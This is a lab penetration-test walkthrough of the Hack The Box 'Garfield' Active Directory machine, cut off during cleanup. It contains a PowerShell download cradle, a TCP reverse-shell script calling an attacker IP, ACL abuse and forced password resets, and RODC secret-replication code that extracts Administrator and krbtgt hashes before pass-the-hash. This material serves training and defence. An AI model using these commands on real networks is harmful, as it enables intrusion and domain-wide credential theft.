CYBERSECURITY ASSESSMENT

Garfield

Internal Penetration Test — Detailed Walkthrough

Target `10.129.244.207` — `DC01.garfield.htb`

Platform Hack The Box — Hard, Windows / Active Directory

Path Logon script hijack → Tier 1 takeover → RODC policy abuse → Domain Admin

Candidate Dylan Senez

Assessment window 10–11 April 2026

Independent verification and reproduction 8 November 2026

Document version 1.1

> **CONFIDENTIAL** — This document describes a complete compromise of the assessed environment, including the exact steps required to reproduce it. It is intended for the assessment team and the engagement owner only. All passwords, NT hashes and flag values are redacted in this copy; commands are otherwise verbatim and re-runnable.

Contents

Document Control 3

Chain at a Glance 4

1 Approach 5

2 What Made the Chain Possible 5

3 Scope 6

4 Tooling and Prerequisites 6

5 Assessment Summary 7

- 5.1 Summary of Findings 7
- 5.2 Exploited Hosts 8
- 5.3 Compromised Identities 8
- 5.4 Changes and Cleanup 9

6 Assessment Walkthrough 10

- Phase 0 — Preparation 10
- Phase 1 — Reconnaissance 10
- Phase 2 — Access Validation and Permission Mapping 11
- Phase 3 — Foothold: Logon Script Hijack 13
- Phase 4 — Tier 1 Account Takeover 14
- Phase 5 — Becoming an RODC Administrator 16
- Phase 6 — RODC Policy Abuse and Secret Replication 16
- Phase 7 — Domain Admin 19
- What Failed, and Why It Matters 19
- Cleanup 20

7 Technical Findings 21

- F-01 — Logon script hijack via writable SYSVOL script and Script-Path delegation 21
- F-02 — Excessive ACL: User-Force-Change-Password over a Tier 1 administrative account 22
- F-03 — AddSelf on RODC Administrators granted to the Tier 1 group 23
- F-04 — RODC password replication policy abuse leading to domain compromise 23
- I-01 — SMB signing enforced (informational, positive) 24
- I-02 — Domain controller clock skew (informational) 24

8 Remediation Summary 25

- 8.1 Short Term — break the chain 25
- 8.2 Medium Term — reduce the class of weakness 25
- 8.3 Long Term — remove the structural risk 26

Appendix A — Severity Ratings 27

Appendix B — Evidence Map 28

Appendix C — Reproduce From Scratch 28

Appendix D — Credentials and Flags 30

Appendix E — MITRE ATT&CK Mapping 30

Appendix F — Detection Opportunities 31

Document Control

Field	Value
Target	`10.129.244.207` (`DC01.garfield.htb`), Windows Server 2019 Standard, build 17763
Secondary asset	`RODC01` (`192.168.100.2`), Read-Only Domain Controller, Hyper-V guest on `DC01`
Domain	`garfield.htb`
Starting access	`garfield.htb\j.arbuckle` , member of `IT Support`
Identities obtained	`l.wilson` → `l.wilson_adm` → `RODC01$` → `Administrator`
User flag	`<USER-FLAG-REDACTED>` (`C:\Users\l.wilson_adm\Desktop\user.txt`)
Root flag	`<ROOT-FLAG-REDACTED>` (`C:\Users\Administrator\Desktop\root.txt`)
Domain Administrator NT hash	`<NT-HASH-REDACTED>`
Final state	Domain Admin on `DC01` ; environment restored, two password changes outstanding

Chain at a Glance

```
nmap ─► DC01 (2179/vmrdp: Hyper-V console) + RODC01 guest
  │
  ├─► SYSVOL\garfield.htb\scripts\printerDetect.bat  writable
  └─► ACL  IT Support  --WriteProperty(Script-Path)-->
                    CN=Liz Wilson
           │
           ▼
  scriptPath = printerDetect.bat  ─► logon script as l.wilson
  PowerShell cradle               ─► TCP shell as garfield\l.wilson
           │
           ▼
  ACL l.wilson --User-Force-Change-Password--> Liz Wilson ADM
  ADSI SetPassword  ─► l.wilson_adm (Tier 1) ─► WinRM ─► user.txt
           │
           ▼
  AddSelf  Tier 1 --> RODC Administrators  (ACL on the group)
  RODC Admins --WriteProperty--> msDS-Reveal-OnDemand-Group /
                                 msDS-NeverReveal-Group
           │
           ▼
  RevealOnDemandGroup = Domain Admins ; NeverRevealGroup = <empty>
  RODC01$ machine password reset  ─► authenticate as RODC01$
  DRSGetNCChanges ulExtendedOp = EXOP_REPL_SECRETS
           │
           ▼
  Administrator NT hash + krbtgt_8245 ─► pass-the-hash ─► root.txt
```

Two properties of this chain are worth stating up front, because they explain why it is rated Hard:

1. **No exploitation of a software vulnerability is required.** Every step abuses a documented Active Directory feature — logon scripts, delegated ACLs, group membership, RODC password replication and the DRS replication protocol — outside its intended trust boundary. There is no CVE, no memory corruption and no malicious binary that has to survive on disk.
2. **The RODC is never touched over the network.** `RODC01` is only reachable from `DC01` (`192.168.100.2`), and the assessment could not reach it directly. The attack does not need to: the replication request is sent **to the writable DC** while authenticating *as* the RODC's machine account. The DC answers on its behalf.

1 Approach

The assessment followed a single non-evasive phase: reconnaissance, credentialed enumeration, ACL analysis, controlled exploitation, privilege escalation and post-exploitation validation. Each stage was executed from a Linux attack host on the target network.

Reproducibility was treated as a hard requirement. Every command in Section 6 was re-executed against the target on 8 November 2026 and the output captured; Section 6 records the exact arguments, prerequisites and expected output, and Appendix C reduces the whole chain to a copy-paste sequence. Where a step failed on the first attempt, the failure is documented rather than omitted, because the failure is usually the part that is hardest to rediscover (see “What Failed, and Why It Matters”).

2 What Made the Chain Possible

Stage	Primitive	Why it mattered
1	Writable `SYSVOL` script + `WriteProperty` on `Script-Path`	Turned a file-write right into code execution as another user
2	`User-Force-Change-Password` held over a Tier 1 account	Converted a standard user into a Tier 1 administrator
3	`AddSelf` on **RODC Administrators** for **Tier 1**	Gave an ordinary admin the RODC’s administrative rights
4	Write access to the RODC password replication policy	Redefined which secrets the RODC was allowed to receive
5	Control of the `RODC01$` machine account	Allowed the attacker to *be* the RODC to the DC
6	`EXOP_REPL_SECRETS`	Returned the domain Administrator’s NT hash
7	Pass-the-hash	Domain Admin without ever knowing a password

3 Scope

Host / IP Address	Description
`10.129.244.207` (`DC01.garfield.htb`)	Writable domain controller — DNS, Kerberos, LDAP, SMB, WinRM, RDP, Hyper-V console
`192.168.100.2` (`RODC01.garfield.htb`)	Read-Only Domain Controller — Hyper-V guest on `DC01` , routable only from `DC01`
`garfield.htb`	Active Directory domain

Provided access

Account	Password	Group membership
`garfield.htb\j.arbuckle`	*redacted*	`IT Support`

4 Tooling and Prerequisites

The chain uses only the tooling below. Versions are those used during the reproduction pass.

Tool	Version	Purpose
nmap	7.99	Port and service discovery
smbmap	1.10.7	Share enumeration
smbclient (Samba)	4.19	`SYSVOL` read and write
NetExec (`nxc`)	1.4.x	SMB/WinRM authentication and command execution
bloodyAD	2.x	LDAP attribute and group modification
Impacket	0.13.0	`dacledit.py` , `wmiexec.py` , `secretsdump.py`
ldapsearch	2.5	Directory enumeration and verification
Python	3.11+	Payload hosting and the RODC secret request

5 Assessment Summary

All testing began from the perspective of an authenticated, unprivileged domain user. The tester was provided with the domain name and one credential set and no additional information.

5.1 Summary of Findings

Four findings posing material risk were identified: **two Critical** and **two High**. Two informational observations are recorded for context.

#	Severity	CVSS	Finding
F-01	High	7.4	Logon script hijack via writable `SYSVOL` script and `WriteProperty` on `Script-Path`
F-02	Critical	9.9	Excessive ACL: `User-Force-Change-Password` over a Tier 1 administrative account
F-03	High	8.5	`AddSelf` on RODC Administrators granted to the Tier 1 group
F-04	Critical	9.9	RODC password replication policy abuse leading to domain compromise
I-01	Informational	SMB signing enforced (positive control)	
I-02	Informational	Domain controller clock skew of approximately 8 hours	

An important observation about the distribution: the chain does not depend on any single finding. Removing F-01, F-02 **or** F-03 breaks it. This matters for remediation sequencing — restoring the `Script-Path` delegation on its own removes the entry point for an unprivileged user, while F-04 remains the finding that converts a Tier 1 compromise into a domain compromise.

5.2 Exploited Hosts

Host	Method	Notes
`DC01`	Logon script hijack → credential reset → WinRM	Interactive execution as `l.wilson`, then Tier 1 administrative access as `l.wilson_adm`; user flag recovered
`DC01`	Pass-the-hash over WinRM	Domain Administrator context; root flag recovered
`RODC01`	Replication policy tampering and machine account takeover	Used as a credential source. Not reachable from the attack host; the replication request is made against `DC01` as the `RODC01$` principal

5.3 Compromised Identities

Identity	Method	Notes
`l.wilson`	Logon script hijack (F-01)	Shell via modified `printerDetect.bat` executed at logon
`l.wilson_adm`	Forced password change via ACL abuse (F-02)	`Tier 1` ; used for WinRM and as the RODC administrative principal
`RODC01$`	Machine account password reset	Authenticated as the RODC principal for secret replication
`Administrator`	RODC secret replication (F-04)	Domain Admin; NT hash used for pass-the-hash

5.4 Changes and Cleanup

Host	Change	Cleanup
`DC01`	`printerDetect.bat` overwritten in `SYSVOL\garfield.htb\scripts`	Original restored; verified byte-identical (`md5 43ba9cf1…`)
`DC01`	`scriptPath` set on `CN=Liz Wilson`	Attribute cleared
`DC01`	`l.wilson_adm` added to RODC Administrators	Membership removed
`DC01`	`chisel.exe` and helper scripts staged in `C:\Windows\Temp`	Deleted
`RODC01`	`msDS-RevealOnDemandGroup` modified	Restored to `Allowed RODC Password Replication Group`
`RODC01`	`msDS-NeverRevealGroup` cleared	Restored to the original five entries
`DC01`	`l.wilson_adm` password reset	**Not reversible** — original unknown
`DC01`	`RODC01$` machine password reset	**Not reversible** — must be reset on the RODC

> The two password changes could not be restored to their original values. Both are documented here so the customer can rotate them during remediation. On a laboratory instance, reverting the machine snapshot removes them entirely.

6 Assessment Walkthrough

This section reconstructs the compromise in the order it happened, including the attempts that failed. Each phase states what was known at the time, what was tried, what the output was, and what it meant.

Phase 0 — Preparation

```
mkdir -p /root/garfield_report/{src,fig,evidence,poc,build,loot}
printf "10.129.244.207 garfield.htb DC01.garfield.htb DC01\n" >> /etc/hosts
sudo ntpdate -u 10.129.244.207
```

Conventions used throughout: every tool writes to `evidence/`, exploit code lives in `poc/` and is written to be re-runnable rather than as a throwaway one-liner, and every command that produced a finding is preserved verbatim. That convention is what makes the failure analysis at the end of this section possible — the failed attempts were captured at the time rather than reconstructed from memory.

Phase 1 — Reconnaissance

1.1 Full TCP discovery

```
nmap -Pn -sVC -p- 10.129.244.207 -T4 --min-rate 1500 \
  -oN evidence/01_full_tcp_scan.txt
```

The scan completed in 185 seconds. Reading it before running anything else:

- **`88`**, **`389`**, **`636`**, **`3268`**, **`464`** — this is a domain controller, not a member server. There is no local SAM to attack; any credential work has to happen in the directory.
- **`5985`** — WinRM is open, so a valid credential pair converts directly into command execution. That raises the value of every credential found later.
- **`2179`** (**`vmrdp`**) — the Hyper-V VM console. Something is running as a guest on this host.
- **`smb2-security-mode: signing enabled and required`** — SMB signing is enforced. This rules out SMB relay as a route and is recorded as a positive finding (I-01).
- **`clock-skew: 8h00m01s`** — recorded as I-02, and the first thing to fix, because every Kerberos operation later depends on it.

The `2179` port was the first real hint about the shape of the box: a writable DC plus a guest VM is the arrangement that produces a Read-Only Domain Controller (an RODC is a domain controller that lives in a branch office or a DMZ, often virtualised on the writable DC it replicates from).

1.2 Confirming the second controller

```
ldapsearch -x -H ldap://10.129.244.207 -D 'j.arbuckle@garfield.htb' -w '<password>' \
  -b 'dc=garfield,dc=htb' '(objectClass=user)' sAMAccountName distinguishedName memberOf
```

Two computer objects in `OU=Domain Controllers`:

```
dn: CN=DC01,OU=Domain Controllers,DC=garfield,DC=htb      sAMAccountName: DC01$
dn: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb    sAMAccountName: RODC01$
dn: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb            sAMAccountName: krbtgt_8245
```

`krbtgt_8245` is the dedicated `krbtgt` account that exists for an RODC. Its presence confirms there is a read-only replica in the domain and tells us its RID suffix. This single object reframes the whole engagement: the interesting target is not the writable DC's `Administrator` account but the **replication relationship** between the two controllers.

Phase 2 — Access Validation and Permission Mapping

2.1 What the credential can reach

```
nxc smb 10.129.244.207 -u 'j.arbuckle' -p '<password>'
smbmap -H 10.129.244.207 -u 'j.arbuckle' -p '<password>'
```

Read-only access to `NETLOGON` and `SYSVOL`. `ADMIN$` and `C$` are unavailable, as expected for a non-administrative account.

2.2 The logon script share

`SYSVOL` is interesting on every domain controller because it is where Group Policy and logon scripts live, and because it is readable by every authenticated user by design.

```
smbclient //10.129.244.207/SYSVOL -U 'GARFIELD\j.arbuckle%<password>' -m SMB3 \
  -c 'recurse ON; ls garfield.htb\scripts'
```

```
\garfield.htb\scripts
  printerDetect.bat                A      217  Fri Sep 12 22:20:29 2025
```

`NETLOGON` exposes the same file (it is the same folder, published twice).

Before doing anything with it, the original was downloaded to `loot/printerDetect.bat.orig` so it could be restored later:

```
@echo off
echo Detecting installed printers...
echo ==============================

wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status /format:table

echo.
echo Printer detection completed.
pause
```

A printer-detection script that ends in `pause` is a user-facing script, which means it runs in an interactive desktop session — and therefore under the identity of whoever is logged in.

`smbmap` reported `SYSVOL` as `READ ONLY`. That is the **share-level** permission. Share permissions and NTFS permissions combine, and the effective right is the more restrictive of the two — but the share here grants Change to `Authenticated Users` while NTFS restricts writes to a specific folder. The report from `smbmap` therefore does not answer the question "can I write here?"; only an actual write does. This is why a harmless probe file was used rather than an assumption in either direction.

2.3 Testing write access

```
echo probe > /tmp/wprobe.txt
smbclient //10.129.244.207/SYSVOL -U 'GARFIELD\j.arbuckle%<password>' -m SMB3 \
  -c 'cd garfield.htb\scripts; put /tmp/wprobe.txt wprobe.txt; ls'
```

```
putting file /tmp/wprobe.txt as \garfield.htb\scripts\wprobe.txt (0.0 kB/s)
  wprobe.txt                          A        6  Sun Nov  8 10:57:47 2026
```

A helpdesk account can create files in the domain's logon script directory. The probe was deleted immediately.

On its own this is a file-write primitive, not code execution: overwriting `printerDetect.bat` only matters if a user with a logon script *pointing at that file* logs on. That requires the second half of the finding.

2.4 Finding the delegation that completes it

```
bloodyAD -H 10.129.244.207 -d garfield.htb -u j.arbuckle -p '<password>' get writable
```

```
distinguishedName: CN=Guest,CN=Users,DC=garfield,DC=htb                permission: WRITE
distinguishedName: CN=krbtgt_8245,CN=Users,DC=garfield,DC=htb         permission: WRITE
distinguishedName: CN=Jon Arbuckle,CN=Users,DC=garfield,DC=htb        permission: WRITE
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb          permission: WRITE
distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb      permission: WRITE
```

`get writable` reports "some write right exists" but not which attribute. That distinction is the whole finding, so the specific ACEs were read:

```
dacledit.py -action read -dc-ip 10.129.244.207 \
  -target-dn 'CN=Liz Wilson,CN=Users,DC=garfield,DC=htb' \
  'garfield.htb/j.arbuckle:<password>'
```

```
ACE[24] ACCESS_ALLOWED_OBJECT_ACE   (CONTAINER_INHERIT_ACE, INHERITED_ACE)
  Access mask         : ReadProperty, WriteProperty (0x30)
  Object type (GUID) : Script-Path (bf9679a8-0de6-11d0-a285-00aa003049e2)
  Inherited type     : User (bf967aba-0de6-11d0-a285-00aa003049e2)
  Trustee (SID)      : IT Support
```

The `IT Support` group holds `WriteProperty` on the `Script-Path` attribute for every `user` object in the `Users` container, inherited from the container itself. `Script-Path` is the LDAP attribute that stores a user's logon script name.

Two write primitives now exist that were never intended to be combined:

1. the ability to **place a file** in the directory every domain logon reads from;
2. the ability to **point another user's logon script at that file**.

Phase 3 — Foothold: Logon Script Hijack

3.1 The payload

`printerDetect.bat` was replaced with a one-line download cradle. The stage is kept off the target so the batch file stays small and the logic stays changeable:

```
@echo off
powershell -nop -w hidden -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://
10.10.14.35:8088/s.ps1')"
exit /b 0
```

`s.ps1` is a minimal TCP shell:

```
$c = New-Object System.Net.Sockets.TCPClient('10.10.14.35',4444);
$s = $c.GetStream();
[byte[]]$b = 0..65535 | %{0};
while (($i = $s.Read($b,0,$b.Length)) -ne 0) {
  $d  = (New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);
  $r  = (iex $d 2>&1 | Out-String);
  $p  = (Get-Location).Path;
  $o  = $r + "PS " + $(whoami) + " " + $p + "> ";
  $b2 = ([text.encoding]::ASCII).GetBytes($o);
  $s.Write($b2,0,$b2.Length);
  $s.Flush()
}
$c.Close()
```

> The listener was first started on port 8000 and returned `501 Unsupported method`. The port was already bound by an unrelated service in the attack environment. The tell was that the HTTP server answered — with the wrong program. Moving to `8088` and re-testing with `curl` before staging the payload avoided debugging a "PowerShell download failure" that was actually a port collision.

3.2 Staging

```
# host the stage
python3 -m http.server 8088 --bind 0.0.0.0 &

# confirm it serves before touching the target
curl -s -o /dev/null -w "%{http_code}\n" http://10.10.14.35:8088/s.ps1      # 200

# replace the logon script
smbclient //10.129.244.207/SYSVOL -U 'GARFIELD\j.arbuckle%<password>' -m SMB3 \
  -c 'cd garfield.htb\scripts; put printerDetect.bat printerDetect.bat'
```

3.3 Pointing the account at it

```
bloodyAD -H 10.129.244.207 -d garfield.htb -u j.arbuckle -p '<password>' \
  get object 'CN=Liz Wilson,CN=Users,DC=garfield,DC=htb' --attr scriptPath

bloodyAD -H 10.129.244.207 -d garfield.htb -u j.arbuckle -p '<password>' \
  set object 'CN=Liz Wilson,CN=Users,DC=garfield,DC=htb' scriptPath -v 'printerDetect.bat'

bloodyAD -H 10.129.244.207 -d garfield.htb -u j.arbuckle -p '<password>' \
  get object 'CN=Liz Wilson,CN=Users,DC=garfield,DC=htb' --attr scriptPath
```

```
### before
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb

### set object
[+] CN=Liz Wilson,CN=Users,DC=garfield,DC=htb's scriptPath has been updated

### after
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
scriptPath: printerDetect.bat
```

No value was needed beyond the file name: logon scripts are resolved by the client from the `NETLOGON` share, so a bare name is a path into the directory that was just written to.

3.4 Callback

```
nc -lvnp 4444
```

```
listening on [any] 4444 ...
connect to [10.10.14.35] from (UNKNOWN) [10.129.244.207] 58732
```

```
PS C:\Windows\system32> whoami; hostname
garfield\l.wilson
DC01

PS C:\Windows\system32> whoami /groups | findstr /i "Tier Remote"
BUILTIN\Remote Desktop Users     Alias  S-1-5-32-555  Mandatory group, Enabled by default
BUILTIN\Remote Management Users  Alias  S-1-5-32-580  Mandatory group, Enabled by default
```

Two facts from that output decide the next move:

- the shell is `l.wilson`, a normal user — **not** an administrator;
- `l.wilson` is in **Remote Management Users**, so WinRM is available to this identity the moment a password for it is known.

The shell was obtained on `DC01` itself, which also means the logon script executed on the domain controller because `l.wilson` had an interactive session there.

Phase 4 — Tier 1 Account Takeover

4.1 Reading the second delegation

The obvious next question is what `l.wilson` can do to other objects.

```
dacledit.py -action read -dc-ip 10.129.244.207 \
  -target-dn 'CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb' \
  'garfield.htb/j.arbuckle:<password>'
```

```
ACE[5] ACCESS_ALLOWED_OBJECT_ACE   Trustee: l.wilson
  Access mask        : ControlAccess (0x100)
  Object type (GUID) : User-Change-Password        (ab721a53-1e2f-11d0-9819-00aa0040529b)

ACE[6] ACCESS_ALLOWED_OBJECT_ACE   Trustee: l.wilson
  Access mask        : ControlAccess (0x100)
  Object type (GUID) : User-Force-Change-Password  (00299570-246d-11d0-a768-00aa006e0529)
```

`l.wilson` can force the password of `l.wilson_adm` — the administrative twin of the same person, member of `Tier 1`, `Remote Management Users` and `Remote Desktop Users`. This is the classic "standard account and admin account for the same human" pattern, delegated so the user can reset their own administrative password.

4.2 Applying it

`User-Force-Change-Password` does not require the current password, so the reset can be performed directly from the shell that is already running as `l.wilson` — no additional tooling has to be staged:

```
$u = [ADSI]"LDAP://CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb"
$u.SetPassword("<new-password>")
$u.SetInfo()
```

```
RESET_OK
```

4.3 Validating Tier 1

```
nxc winrm 10.129.244.207 -u 'l.wilson_adm' -p '<new-password>' -x 'whoami /groups'
```

```
WINRM  10.129.244.207  5985  DC01  [+] garfield.htb\l.wilson_adm:<password> (Pwn3d!)
WINRM  10.129.244.207  5985  DC01  GARFIELD\Tier 1   Group   S-1-5-21-…-3108   Enabled
```

> `nxc` reported two things worth reading carefully. The `(Pwn3d!)` marker means "this credential has administrative rights on this service". The line before it — `has no 'Invoke' rights to execute command (shell type: cmd)` — is not a failure of the credential: it is NetExec reporting that this account cannot use the plain `cmd` shell type, and then automatically retrying with PowerShell. The command output that follows is the successful PowerShell run. Reading only the `[-]` line would have suggested the account was not working when it demonstrably was.

4.4 User flag

```
Get-ChildItem C:\Users -Recurse -Filter user.txt -ErrorAction SilentlyContinue |
  ForEach-Object { $_.FullName; Get-Content $_.FullName }
```

```
C:\Users\l.wilson_adm\Desktop\user.txt
<USER-FLAG-REDACTED>
```

Phase 5 — Becoming an RODC Administrator

5.1 The ACL on the RODC group

`l.wilson_adm` is a Tier 1 administrator, which in this domain means it can manage Tier 1 assets — and the RODC is deliberately treated as a Tier 1 asset. What it can do is expressed as an ACL on the **RODC Administrators** group: `Tier 1` holds `AddSelf`, the right to add itself to the group.

```
bloodyAD -H 10.129.244.207 -d garfield.htb -u l.wilson_adm -p '<password>' \
  add groupMember 'CN=RODC Administrators,CN=Users,DC=garfield,DC=htb' l.wilson_adm
```

```
[+] l.wilson_adm added to CN=RODC Administrators,CN=Users,DC=garfield,DC=htb
```

5.2 What the new membership unlocks

```
dacledit.py -action read -dc-ip 10.129.244.207 \
  -principal 'RODC Administrators' \
  -target-dn 'CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb' \
  'garfield.htb/l.wilson_adm:<password>'
```

```
ACE[4]  Managed-By                    (0296c120-40da-11d1-a9c0-0000f80367c1)   RW
ACE[5]  ms-DS-Reveal-OnDemand-Group   (303d9f4a-1dd6-4b38-8fc5-33afe8c988ad)   RW
ACE[6]  ms-DS-Never-Reveal-Group      (15585999-fd49-4d66-b25d-eeb96aba8174)   RW
                     Trustee: RODC Administrators (S-1-5-21-…-2101)
```

This is the pivot of the entire engagement, and it is visible in one screen: an RODC administrator can rewrite **which accounts the RODC is permitted to cache credentials for**.

`msDS-RevealOnDemandGroup` is the allow-list. `msDS-NeverRevealGroup` is the deny-list, and deny always wins over allow. Out of the box both are configured to keep privileged accounts away from the RODC — precisely so that a stolen branch-office controller cannot yield domain administrator credentials.

Phase 6 — RODC Policy Abuse and Secret Replication

6.1 Reading the current policy

```
ldapsearch -x -H ldap://10.129.244.207 -D 'j.arbuckle@garfield.htb' -w '<password>' \
  -b 'CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb' -s base '(objectClass=*)' \
  msDS-RevealOnDemandGroup msDS-NeverRevealGroup
```

```
msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
msDS-NeverRevealGroup:    CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
msDS-NeverRevealGroup:    CN=Account Operators,CN=Builtin,DC=garfield,DC=htb
msDS-NeverRevealGroup:    CN=Server Operators,CN=Builtin,DC=garfield,DC=htb
msDS-NeverRevealGroup:    CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb
msDS-NeverRevealGroup:    CN=Administrators,CN=Builtin,DC=garfield,DC=htb
```

The deny-list is doing exactly its job: `Domain Admins` is excluded through the `Denied RODC Password Replication Group`, and `Administrators` is denied explicitly.

6.2 Rewriting it

```
# authorise Domain Admins for caching
bloodyAD -H 10.129.244.207 -d garfield.htb -u l.wilson_adm -p '<password>' \
  set object 'CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb' \
  msDS-RevealOnDemandGroup -v 'CN=Domain Admins,CN=Users,DC=garfield,DC=htb'

# remove the deny-list entirely
bloodyAD -H 10.129.244.207 -d garfield.htb -u l.wilson_adm -p '<password>' \
  set object 'CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb' msDS-NeverRevealGroup
```

```
[+] … msDS-RevealOnDemandGroup has been updated
[+] CN=RODC01,…'s msDS-NeverRevealGroup has been updated

dn: CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb
msDS-RevealOnDemandGroup: CN=Domain Admins,CN=Users,DC=garfield,DC=htb
```

With the deny-list empty and `Domain Admins` on the allow-list, the RODC is now authorised to receive domain administrator credentials. The policy is the only control that was preventing it.

6.2.1 The attempt that failed

The natural next step is to authenticate as the RODC and ask for the secrets the same way DCSync does. That was tried first, and it does not work:

```
secretsdump.py 'garfield.htb/RODC01$:<password>@10.129.244.207' \
  -just-dc-user Administrator -dc-ip 10.129.244.207
```

```
[-] DRSR SessionError: code: 0x2105 - ERROR_DS_DRA_ACCESS_DENIED - Replication access was denied.
```

The reason is in the request, not the permission. DCSync is `DRSGetNCChanges` with `ulExtendedOp = EXOP_REPL_OBJ` — “give me the objects of this naming context”, which is what a **full replica** asks for. An RODC is not a full replica and is refused that operation permanently. What an RODC *is* entitled to is a different extended operation:

```
EXOP_REPL_OBJ     0x00000002   full object replication     → refused for an RODC
EXOP_REPL_SECRETS 0x00000007   secret replication only     → permitted for an RODC
```

So the policy change is necessary but not sufficient: the request has to use the RODC’s operation, which off-the-shelf `secretsdump.py` does not offer.

6.3 Taking control of the RODC's identity

To present as the RODC, its machine account password must be known. The `Managed-By` write right on the RODC object (and the standard machine-account reset path) allows that:

```
bloodyAD -H 10.129.244.207 -d garfield.htb -u l.wilson_adm -p '<password>' \
  set password 'RODC01$' '<new-machine-password>'
```

```
[+] Password changed successfully!
```

The RODC machine account is now an identity the attacker controls, and — critically — it is an identity the writable DC trusts to perform replication.

6.4 Why the RODC never has to be reachable

`RODC01` sits at `192.168.100.2`, reachable only from `DC01`. Earlier in the engagement an attempt was made to reach it through a SOCKS pivot, and it failed (see 6.9). That turned out not to matter:

`DRSGetNCChanges` is sent **to the writable DC**. The RODC is not contacted at all. The DC receives a request, checks that the caller is `RODC01$`, checks the RODC's password replication policy, and returns the secrets that policy permits — the same operation it would perform if the real RODC had asked. Being the RODC's identity is sufficient; being on the RODC's network is not required.

6.5 The secret replication request

`poc/rodc_exop.py` reuses Impacket's `RemoteOperations` and changes exactly one field in the replication request:

```
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_SECRETS  # was EXOP_REPL_OBJ
```

The remainder of the script handles the environment: it shifts the module clock by the 8-hour skew observed in Phase 1, authenticates over SMB as `GARFIELD\RODC01$`, and drives `NTDSHashes` with the patched request so the returned attribute set is parsed into hashes.

```
python3 poc/rodc_exop.py 10.129.244.207 '<machine-password>'
```

```
[*] Connecting as GARFIELD\RODC01$ to 10.129.244.207...
[+] SMB connected!

[*] Requesting EXOP_REPL_SECRETS for garfield\Administrator...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NT-HASH-REDACTED>:::
[+] Done!

[*] Requesting EXOP_REPL_SECRETS for garfield\krbtgt_8245...
krbtgt_8245:1603:aad3b435b51404eeaad3b435b51404ee:<NT-HASH-REDACTED>:::
[+] Done!
```

The domain controller returned the `Administrator` NT hash and the RODC's `krbtgt` hash to a caller it had authenticated as the RODC, under a policy the caller had rewritten fifteen minutes earlier. No vulnerability was exploited; the replication protocol worked exactly as designed.

Phase 7 — Domain Admin

```
nxc smb 10.129.244.207 -u Administrator -H '<NT-HASH-REDACTED>' -d garfield.htb
nxc winrm 10.129.244.207 -u Administrator -H '<NT-HASH-REDACTED>' -d garfield.htb \
  -x 'whoami && type C:\Users\Administrator\Desktop\root.txt'
```

```
SMB   10.129.244.207  445   DC01  [+] garfield.htb\Administrator:<hash> (Pwn3d!)

WINRM 10.129.244.207  5985  DC01  [+] garfield.htb\Administrator:<hash> (Pwn3d!)
WINRM 10.129.244.207  5985  DC01  garfield\administrator
WINRM 10.129.244.207  5985  DC01  <ROOT-FLAG-REDACTED>
```

Domain Admin on the writable domain controller, obtained without ever knowing a plaintext administrator password.

What Failed, and Why It Matters

These are recorded because each one cost time and each one is a trap that will catch the next tester on the same path.

6.9.1 Assuming the RODC had to be reachable

The first plan was to pivot to `192.168.100.2`, run the extraction there, and treat the RODC as the target. `Test-NetConnection` from `DC01` confirmed `445` and `5985` were open on the RODC, so the network path existed — from `DC01`.

Three attempts to use it failed for three different reasons:

Attempt	Result	Cause
`Invoke-Command -ComputerName 192.168.100.2`	"Default authentication may be used with an IP address only if HTTPS or TrustedHosts…"	WinRM refuses IP-based auth without explicit credentials
`Invoke-Command -ComputerName RODC01.garfield.htb`	"A specified logon session does not exist"	double-hop: the WinRM session cannot delegate the credential onward
`Invoke-Command … -Credential $cred`	"The WinRM client cannot process the request" / TrustedHosts	explicit credentials plus a non-domain-trusted host name

A SOCKS pivot was built with `chisel` to bypass the delegation problem entirely. The client connected and the reverse SOCKS listener came up:

```
client: Connected (Latency 73.8ms)
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
```

…but the session died every time the launching shell was torn down, because `l.wilson_adm` is not a local administrator on `DC01` and cannot create a service or detached process that survives it. `wmiexec.py` was refused with `rpc_s_access_denied` for the same reason.

The lesson is not "the pivot was built badly". It is that **the pivot was unnecessary**. The replication request goes to `DC01`; the RODC's network position is irrelevant to the attack. Time spent reaching

`192.168.100.2` was time spent solving a problem the attack does not have. Once Phase 6.4 was understood, the whole chain completed over the same SMB connection used in Phase 2.

6.9.2 Using DCSync against an RODC principal

Covered in 6.2.1. `secretsdump.py` reports `ERROR_DS_DRA_ACCESS_DENIED`, which reads like a permission problem and is actually a protocol problem — wrong extended operation. The fix is one field, not more privileges.

6.9.3 Expecting `smbmap` to answer "can I write?"

Covered in 2.2. Share-level output said `READ ONLY`; the write succeeded. A probe file settled it in seconds.

6.9.4 Trying to undo the change as the wrong account

During cleanup, clearing `scriptPath` as `l.wilson_adm` failed:

```
LDAPModifyException: insufficientAccessRights for CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
Reason:(ERROR_DS_INSUFF_ACCESS_RIGHTS)
```

`l.wilson_adm` is a Tier 1 administrator but does not hold `WriteProperty` on `Script-Path` — only `IT Support` does. The change had to be reverted as `j.arbuckle`. This is a useful confirmation of F-01: the right genuinely belongs to the helpdesk group and not to administrators, which is exactly why it is easy to overlook.

6.9.5 Reading NetExec's `[-]` line as a credential failure

Covered in 4.3. `has no 'Invoke' rights to execute command (shell type: cmd)` precedes a successful PowerShell execution on the same credential.

Cleanup

```
# restore the logon script and verify byte-for-byte
